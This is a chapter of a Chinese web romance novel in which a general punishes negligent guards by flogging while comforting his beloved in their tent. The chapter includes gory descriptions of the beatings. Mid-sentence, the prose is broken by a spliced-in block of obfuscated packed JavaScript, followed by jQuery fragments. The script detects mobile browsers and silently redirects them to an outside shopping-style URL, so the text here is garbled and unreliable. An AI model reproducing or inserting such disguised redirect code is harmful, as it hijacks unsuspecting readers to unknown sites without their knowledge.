109. 都过去了
作品:《侯府大小姐竟是男扮女装?》 待到萧怀琳提着包袱和木桶回到屏风后,苏若琳已经裹着被子坐了起来,见到他来,疑惑道:“外面这是怎么了?”
从方才开始,外边逐渐响起了惨叫声,声音越来越大,叫得越来越惨烈,听起来怪吓人的。
“没什么。”萧怀琳将木桶放到案台边上,然后把装衣裙的包袱递给她,“处置了昨夜玩忽职守的那几个侍卫。”
“哦。”苏若琳点了点头,接过他手里的包袱,等着他出去。
然而面前人却站在原地不动了,她抬起头看着萧怀琳,后者也低头看着他,两人大眼瞪小眼。
“......”苏若琳抓起那团鹅黄色的破布,朝萧怀琳扔了过去,羞愤地瞪着他,“你出去呀!”
瞧见心上人羞红的脸颊,萧怀琳笑着接过她扔过来的那团破布,乐呵呵地走了出去。
过了一会,等到苏若琳提着木桶走出来时,身上已然换上了一件嫣红色的衣裙,肩上裹着毛巾,一头乌黑的秀发披散在脑后,透着一股倦怠的妩媚。
因着昨夜和眼前这混小子缠绵了半夜,今早又这么早就醒了,她到现在都困得不行,刚一开口想要说点什么,便又不由自主地打了一个哈欠。
然而却恰恰是这慵懒的姿态,看得萧怀琳眼睛一亮。
他最初见到的是心上人成熟稳重、掌控大局的模样,那时的他以为心上人便是他的天;
清晨睡醒时,他又见到了心上人娇俏可爱、闹小脾气的时候,他觉得自己为了他的心上人可以付出一切代价。
而现在,他的心上人再次让他看到了不同的一面。
他的若琳到底究竟还有多少惊喜是他所不知道的?
萧怀琳看着心上人睡眼惺忪的模样,昨夜一夜缠绵过后的娇媚神态已经褪下去了,徒留下一股慵懒。
可却恰恰是这股慵懒,更显得心上人那被厮磨红肿的唇瓣愈加美艳动人,同她那身嫣红的衣裙相得益彰,令他心驰神往。
萧怀琳三两步来到心上人面前,接过她手里的木桶随手放到地上,伸出手想要再次按住心上人的后脑,和她唇齿相依。
然而那只满是伤疤的大手还未碰到心上人,苏若琳的余光扫到地上的一大片血迹,顿时一双秀丽的眼眸瞪得圆圆的,全身的困意一扫而光。
那片血迹经过了空气的氧化,已经变得有些发黑了,自她身旁的位置一直延伸到了帐外,像是用一根巨大的毛笔蘸着血浆,在地面上划过了厚重的一笔。
“这是......”苏若琳呆呆地看着那摊血迹,好半天才捡回神智。
她想起来了,昨夜,陈姨娘便是在此处被眼前人杀掉的。
明明昨日还生龙活虎,甚至还能筹谋心计、算计别人的一个人,就这么没了。
想到此,方才一直被她忽略的惨叫声也重新钻进她的耳朵,映入她的脑海,持续不断,越来越凄厉。
这都打了多久了?有小半个时辰了吧?
现在还不停手的话,萧怀琳是想生生把那几个人打死么?
而萧怀琳见心上人有些被吓到,一把将她揽进怀里,托起她的后脑低头想要亲吻她的朱唇:“别看。”
只是那满是伤疤的大手刚一碰到心上人乌黑的秀发,便不禁眉头微皱,怎么是湿的?
他捻起心上人的一缕发丝,果真是湿漉漉,甚至发尾处还在往外滴着水,显然对方洗过之后根本就没怎么擦拭头发。
萧怀琳不禁眉头一挑:“怎么没有擦干?”
苏若琳闻言回过神,撇了撇嘴,小声道:“麻烦......”
从前沐浴过后,都是绿俏给她把头发擦干的,即便是她前世,洗完了头发也懒得用吹风机,就这么晾着,反正早晚都能晾干。
只是这声音再微小,又哪里能逃得出威名赫赫的大楚战神的耳朵呢?
萧怀琳无奈地笑了笑:“容易得风寒的。”
“来,坐下。”他指了指身旁的椅子。
待到心上人在他面前老实坐下后,萧怀琳一手托起心上人的头发,一手抽出她肩上的毛巾,替她把那头乌黑的秀发仔细擦干。
过了许久,萧怀琳放下心上人已经微微发亮的秀发,从后面轻轻地咬了一下心上人的耳朵:“好了。”
那只原本白皙的耳朵霎时间变得腾红。
苏若琳惊得赶紧捂住耳朵,扭过头瞪了他一眼。
随后便看到了眼前人眉目含笑的俊俏脸庞。
只见面前人好看的唇角微微勾起,就连眉眼都弯成了浅浅的月牙,那一副泛着寒光的银色面具看久了,竟也看出了一丝温润的味道,想必是随了主人的性子。
即便昨晚已经那般亲密过了,然而此时此刻再见到眼前人动人的微笑,苏若琳的心仍旧无法抑制地剧烈跳动了起来。
咚咚,咚咚。
她连忙扭过头,红着脸轻咳了一声,小声道:“那个......你要不要也把身子擦一擦?”
“好。”萧怀琳揉了揉她的发顶,说着便提起地上的木桶。
眼见着他提起自己才刚提出来的木桶就要重新往屏风后面走,苏若琳瞪大眼睛,连忙喊住他:“哎,那个水我用过了!”
“你不去换一桶吗!”
萧怀琳回过头看了她一眼,那双好看的凤目中满是温柔:“不用。”
“那,那也只剩半桶了!”苏若琳慌张得都有些结巴了,“而且也都快凉了!”
然而萧怀琳脸上的笑意却愈加的深了。
“足够了。”
他说着,便拎着那剩下半桶水的木桶走进了屏风后,徒留下苏若琳羞红着脸站在原地。
这个人......!
等到萧怀琳再从屏风后出来时,也已经换了一身干净的衣服,他抬起眼眸,便看到心上人背对着他站着厚厚的门帘前,看不到脸上的神色。
他缓缓来到心上人身后,伸出双臂将心上人从身后揽进怀里,附到耳边轻声问道:“怎么了?”
苏若琳扭过头看向他,咽了口唾沫:“你......”
“就让他们一直叫下去吗?”
叫得实在是太惨了。
虽说她从前在侯府也处置过下人,但那也是把人拖下去打,眼不见心不烦。
但是显然萧怀琳并没有这样的打算,又或许是他故意将处罚安排到明面上,让其他的侍卫好好看着这玩忽职守的代价,以儆效尤。
隔着一层厚厚的军帐,苏若琳能够清晰得听到,外面除去此起彼伏的惨叫声,还有那板子拍在人身上沾带了身上的血肉,而后那粘腻着血肉的板子,再和血肉拍在一起的声音。
就像是捣蒜用的那根石臼,石臼狠狠地敲下去,将蒜敲烂,而后烂成碎末的蒜块又沾到石臼上,和着石臼再敲下去,将碎末继续捣烂成泥。
这般想着,苏若琳又低下头去看了一眼身旁发黑的浓重血迹,仿佛这血迹也沾了混着血的人肉一般,否则为何如此厚重?
光是看着血迹尚且如此,她根本无法想象外面是个怎样惨不忍睹的情景。
苏若琳小心翼翼地拉了拉萧怀琳的衣袖:“要不......你把他们带到别处去打吧?”
她现在已经有点反胃了,待会还得用早膳呢,若是出去再看到那血肉模糊的一团,这还怎么吃得下去。
闻言,萧怀琳倒是有些诧异地看了心上人一眼。
却见到他的心上人眼里并无惧怕,有的只是几分嫌恶和恶心。
他不禁轻笑出声,也是,若是他的心上人是个胆小懦弱的性子,又怎么可能坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678783|123316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得稳侯府主母,庇佑好昔年真正懦弱的他?
他低头亲了亲心上人的额头,继而朝着外面道了一句:“可以了。”
外面拍打血肉的声音登时停止,渐渐地,惨叫声也微弱了下来。
随后,苏若琳便听到头顶响起了熟悉的声音:“昨夜被迷晕的那两个。”
闻言,帐外被点名的那两个人顿时全身发抖,害怕到不由自主地撅起已经血肉模糊的臀部。
王,王爷会下令处死他们吗?!
随后,他们便听到了王爷毫无温度的声音自帐内响起。
“起来吧。”
悬着的心瞬间落得地,那两人连忙挣扎着从长板上爬下来,忍着剧痛朝军帐磕了一个头:“谢王爷宽恕!”
同时不断地在心里庆幸着,太好了,他们这条小命居然从王爷手里捡回来了!
但与之相应的,另外那两个人的心则冷到了谷底。
“另外两个。”萧怀琳的声音依旧没有丝毫的跌宕起伏,“拖下去吧。”
军帐外顿时响起了哭喊声和求饶声,原本负责杖刑的那四个侍卫随即拽着那两人的胳膊,把他们拖了下去。
苏若琳抬起头看向萧怀琳,只见眼前人的目光幽深,如同一片万丈深渊,稍有不慎便会跌落进去,摔得粉身碎骨。
少年郎脸上的温润消失得无影无踪,余留下的唯有一抹肃杀的气息,就连他脸上的那副穷奇面具,都再次变得冰冷而又狰狞。
这是她第一次看到萧怀琳露出这般神情,这个浴血沙场的战神第一次在他的心上人面前展露出他本来的面貌——冰冷锐利、充满威严。
苏若琳没有再说话,她忽地感觉到,周身的空气竟多了几分森寒,比今日下过暴雨之后的冷风还要寒冷,冻得她不禁打了个哆嗦。
原来这就是传说中以一敌百的宁安王真正的气势么?
究竟哪一个才是他真实的样子?
究竟是温润如玉,还是冷酷无情?
亦或者......
苏若琳的眼中闪过一丝莫名的光芒,莫非这两个都是?
她想到了面前人这身新换的墨蓝色衣袍下面,被遮盖的一丝不漏的满身伤疤。
也许他本来就是一个翩翩少年郎,只是不得不登上战场、长出獠牙,变得凶神恶煞。
苏若琳深吸了一口气。
她真的很想知道,眼前这个在顷刻间变得肃穆威严的少年,过去到底都经历了怎样的磨难,才能变成这样。
而此时,萧怀琳感受到怀里的人在发抖,连忙回过神低头看向怀里的心上人,却恰好看到了她那被心疼填满的目光。
他全身猛的一震。
随后,他那心上人便怀抱住他的脖颈,仰起头吻了吻他的唇角,就像清晨他安慰自己时那样。
“都过去了。”
萧怀琳看着心上人温柔的眼眸,仿佛在那双晶莹明澈的眼眸之中看到了从前的自己。
那个软弱无能、自卑胆小,却又幸福快乐的杨婉枝。
他忽地想起了四年前的上元佳节,那个大雪纷飞却又张灯结彩的夜晚,还有侯府的后花园里,那片冰冷刺骨的池潭。
是眼前的人将他从濒死的绝境之中拽了回来,此后一点一点给予他温暖。
而这温暖,支撑着他淌过了无数个腥风血雨的日夜。
方才还气势磅礴的少年郎嘴唇微微动了动,眼中不可抑制地噙出一抹泪光。
萧怀琳伸出不住颤抖地双手,紧紧拥抱住他的心上人,仿佛用尽了此生全部的力气,想要将他的心上人彻底揉进自己的身体,与自己合二为一。
“嗯。”
都过去了。
还好我重新回到了你身边。
母亲......